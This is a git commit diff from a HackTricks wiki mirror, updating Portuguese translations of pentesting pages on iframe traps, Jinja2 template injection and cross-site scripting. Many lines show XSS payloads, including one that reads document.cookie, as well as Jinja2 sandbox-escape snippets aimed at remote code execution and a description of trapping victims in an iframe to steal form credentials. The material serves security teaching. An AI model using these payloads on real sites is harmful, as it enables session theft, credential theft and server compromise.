mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
2dd4663e1a
commit
a81b7aed66
7 changed files with 179 additions and 87 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
47
pentesting-web/iframe-traps.md
Normal file
47
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Armadilhas de Iframe
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Esta forma de abuso de XSS via iframes para roubar informações do usuário que se move pela página da web foi originalmente publicada nestes 2 posts de trustedsec.com: [**aqui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**aqui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
O ataque começa em uma página vulnerável a um XSS onde é possível fazer com que as **vítimas não saiam do XSS** fazendo-as **navegar dentro de um iframe** que ocupa toda a aplicação web.
|
||||
|
||||
O ataque XSS basicamente carregará a página da web em um iframe em 100% da tela. Portanto, a vítima **não perceberá que está dentro de um iframe**. Então, se a vítima navegar na página clicando em links dentro do iframe (dentro da web), ela estará **navegando dentro do iframe** com o JS arbitrário carregado roubando informações dessa navegação.
|
||||
|
||||
Além disso, para torná-lo mais realista, é possível usar alguns **ouvintes** para verificar quando um iframe muda a localização da página e atualizar a URL do navegador com essas localizações para que o usuário pense que está movendo páginas usando o navegador.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Além disso, é possível usar ouvintes para roubar informações sensíveis, não apenas as outras páginas que a vítima está visitando, mas também os dados usados para **preencher formulários** e enviá-los (credenciais?) ou para **roubar o armazenamento local**...
|
||||
|
||||
Claro, as principais limitações são que uma **vítima fechando a aba ou inserindo outra URL no navegador escapará do iframe**. Outra maneira de fazer isso seria **atualizar a página**, no entanto, isso poderia ser parcialmente **prevenido** desabilitando o menu de contexto do clique direito toda vez que uma nova página é carregada dentro do iframe ou percebendo quando o mouse do usuário sai do iframe, potencialmente para clicar no botão de recarregar do navegador e, nesse caso, a URL do navegador é atualizada com a URL original vulnerável ao XSS, então se o usuário recarregar, ele será envenenado novamente (observe que isso não é muito furtivo).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -43,6 +43,7 @@ Se a Extensão de Depuração estiver habilitada, uma tag `debug` estará dispon
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Exibir todas as variáveis de configuração**
|
||||
|
@ -60,10 +61,11 @@ Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
|
|||
{% endraw %}
|
||||
|
||||
|
||||
```
|
||||
## **Injeção de Jinja**
|
||||
|
||||
Primeiramente, em uma injeção de Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** ambiente **não-sandboxed, mas são acessíveis a partir do sandbox**.
|
||||
```
|
||||
## **Injeção Jinja**
|
||||
|
||||
Em primeiro lugar, em uma injeção Jinja você precisa **encontrar uma maneira de escapar do sandbox** e recuperar o acesso ao fluxo regular de execução do Python. Para fazer isso, você precisa **abusar de objetos** que são **do** ambiente **não-sandboxed, mas são acessíveis a partir do sandbox**.
|
||||
|
||||
### Acessando Objetos Globais
|
||||
|
||||
|
@ -83,7 +85,7 @@ Em seguida, a partir desses objetos, precisamos chegar à classe: **`<class 'obj
|
|||
|
||||
Para acessar essa **classe de objeto**, você precisa **acessar um objeto de classe** e então acessar **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. E então, **depois** de alcançar essa **classe de objeto**, nós **chamamos** **`__subclasses__()`**.
|
||||
|
||||
Verifique esses exemplos:
|
||||
Verifique estes exemplos:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -119,6 +121,7 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -196,10 +199,11 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Retorne aqui para mais opções de acesso a um objeto global**](jinja2-ssti.md#acessando-objetos-globais)
|
||||
* [**Retorne aqui para mais opções de acesso à classe do objeto**](jinja2-ssti.md#recuperando-objeto-da-classe)
|
||||
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#injecao-jinja-sem-objeto-da-classe)
|
||||
* [**Leia isso para obter RCE sem a classe do objeto**](jinja2-ssti.md#injeção-jinja-sem-a-classe-do-objeto)
|
||||
|
||||
**Evitando a codificação HTML**
|
||||
|
||||
|
@ -209,7 +213,7 @@ Por padrão, o Flask codifica HTML dentro de um modelo por motivos de segurança
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, como este exemplo:
|
||||
**O filtro `safe`** nos permite injetar JavaScript e HTML na página **sem** que ele seja **codificado em HTML**, assim:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -235,11 +239,12 @@ Sem **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Injeção de Jinja sem **\<class 'object'>**
|
||||
|
||||
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects), há outra maneira de obter **RCE sem usar essa classe.**\
|
||||
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí a **RCE** é muito **simples**.
|
||||
A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects) há outra maneira de obter **RCE sem usar essa classe.**\
|
||||
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí o **RCE** é muito **simples**.
|
||||
|
||||
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto **global** interessante ao qual você tenha acesso com:
|
||||
```bash
|
||||
|
@ -326,6 +331,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -12,26 +12,26 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
2. **Encontre o contexto** onde está sendo refletido/usado.
|
||||
3. Se **refletido**
|
||||
1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
|
||||
1. Em **HTML bruto**:
|
||||
1. Em **HTML puro**:
|
||||
1. Você pode criar novas tags HTML?
|
||||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||||
3. Você pode contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/).
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você pode sair para o contexto de HTML bruto?
|
||||
1. Você pode sair para o contexto de HTML puro?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
3. O atributo onde você está preso suporta a execução de JS?
|
||||
4. Você pode contornar proteções?
|
||||
3. Dentro do **código JavaScript**:
|
||||
3. Dentro do código **JavaScript**:
|
||||
1. Você pode escapar da tag `<script>`?
|
||||
2. Você pode escapar da string e executar um código JS diferente?
|
||||
2. Você pode escapar da string e executar código JS diferente?
|
||||
3. Seus inputs estão em literais de modelo \`\`?
|
||||
4. Você pode contornar proteções?
|
||||
4. **Função** JavaScript sendo **executada**
|
||||
4. Função **JavaScript** sendo **executada**
|
||||
1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
|
||||
4. Se **usado**:
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como sua entrada é controlada e se sua entrada **controlada é usada por algum sink**.
|
||||
|
||||
Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
|
||||
|
||||
|
@ -43,27 +43,27 @@ Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
|
|||
|
||||
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
|
||||
|
||||
* **Refletido intermediariamente**: Se você encontrar que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderá explorar um **XSS Refletido**.
|
||||
* **Armazenado e refletido**: Se você encontrar que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderá explorar um **XSS Armazenado**.
|
||||
* **Acessado via JS**: Se você encontrar que um valor controlado por você está sendo acessado usando JS, você poderá explorar um **DOM XSS**.
|
||||
* **Refletido intermediariamente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderá explorar um **XSS Refletido**.
|
||||
* **Armazenado e refletido**: Se você descobrir que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderá explorar um **XSS Armazenado**.
|
||||
* **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderá explorar um **DOM XSS**.
|
||||
|
||||
## Contextos
|
||||
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde sua entrada está sendo refletida**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
|
||||
### HTML Bruto
|
||||
### HTML Puro
|
||||
|
||||
Se seu input está **sendo refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Se sua entrada está **refletida no HTML puro** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Além disso, tenha em mente a [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro do atributo das tags HTML
|
||||
|
||||
Se seu input está refletido dentro do valor do atributo de uma tag, você poderia tentar:
|
||||
Se sua entrada é refletida dentro do valor do atributo de uma tag, você poderia tentar:
|
||||
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **puder escapar do atributo mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input está refletido dentro de "**tags inexploráveis**" você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML puro) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **puder escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se sua entrada é refletida dentro de "**tags inexploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
||||
```html
|
||||
|
@ -75,12 +75,12 @@ Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
|||
|
||||
Neste caso, a sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
|
||||
|
||||
- Se refletido entre as tags **`<script> [...] </script>`**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
|
||||
- Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** o seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
|
||||
- Se for refletido entre as tags **`<script> [...] </script>`**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
|
||||
- Se for refletido **dentro de uma string JS** e o último truque não funcionar, você precisará **sair** da string, **executar** o seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Se for refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- A **codificação Unicode** funciona para escrever **código JavaScript válido**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -89,7 +89,7 @@ Neste caso, a sua entrada é refletida entre as tags **`<script> [...] </script>
|
|||
```
|
||||
#### Elevação de Javascript
|
||||
|
||||
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois que são usadas, para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
**Verifique a página a seguir para mais informações:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -98,7 +98,7 @@ A elevação de Javascript refere-se à oportunidade de **declarar funções, va
|
|||
|
||||
### Função Javascript
|
||||
|
||||
Várias páginas da web possuem endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver é algo como: `?callback=callbackFunc`.
|
||||
Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver é algo como: `?callback=callbackFunc`.
|
||||
|
||||
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como:
|
||||
|
||||
|
@ -118,7 +118,7 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Pode também tentar **ativar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||||
Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||||
|
||||
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
|
||||
|
||||
|
@ -130,7 +130,7 @@ Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvo
|
|||
|
||||
### DOM
|
||||
|
||||
Há **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
|
||||
Há um **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -155,26 +155,26 @@ Alguns **exemplos**:
|
|||
|
||||
## Injetando dentro de HTML bruto
|
||||
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_
|
||||
|
||||
Neste caso e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
|
||||
Neste caso, e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mas, se estiver sendo utilizado um sistema de listagem negra/branca de tags/atributos, você precisará **forçar a entrada de quais tags** pode criar.\
|
||||
Depois de **localizar quais tags são permitidas**, será necessário **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||||
Mas, se estiver sendo usado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a barra em quais tags** você pode criar.\
|
||||
Depois de **localizar quais tags são permitidas**, você precisaria **forçar a barra em atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||||
|
||||
### Forçar entrada de Tags/Eventos
|
||||
### Forçando tags/eventos
|
||||
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a barra em todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
|
||||
### Tags personalizadas
|
||||
|
||||
Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -243,22 +243,22 @@ onerror=alert`1`
|
|||
```
|
||||
O último está a usar 2 caracteres Unicode que se expandem para 5: telsr\
|
||||
Mais destes caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em que caracteres estão decompostos, consulte [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
Para verificar em que caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se, para explorar a vulnerabilidade, precisar que o **utilizador clique num link ou num formulário** com dados preenchidos antecipadamente, pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
Se, para explorar a vulnerabilidade, precisar que o **utilizador clique num link ou num formulário** com dados preenchidos previamente, pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Dangling Markup
|
||||
|
||||
Se achar que **é impossível criar uma tag HTML com um atributo para executar código JS**, deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque pode **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetar dentro da tag HTML
|
||||
## Injetando dentro da tag HTML
|
||||
|
||||
### Dentro da tag/escapar do valor do atributo
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
|
||||
Se estiver **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [secção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
Se **não conseguir escapar da tag**, pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando uma carga útil como (_note que neste exemplo são usadas aspas duplas para escapar do atributo, não precisará delas se a sua entrada for refletida diretamente dentro da tag_):
|
||||
Se estiver **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
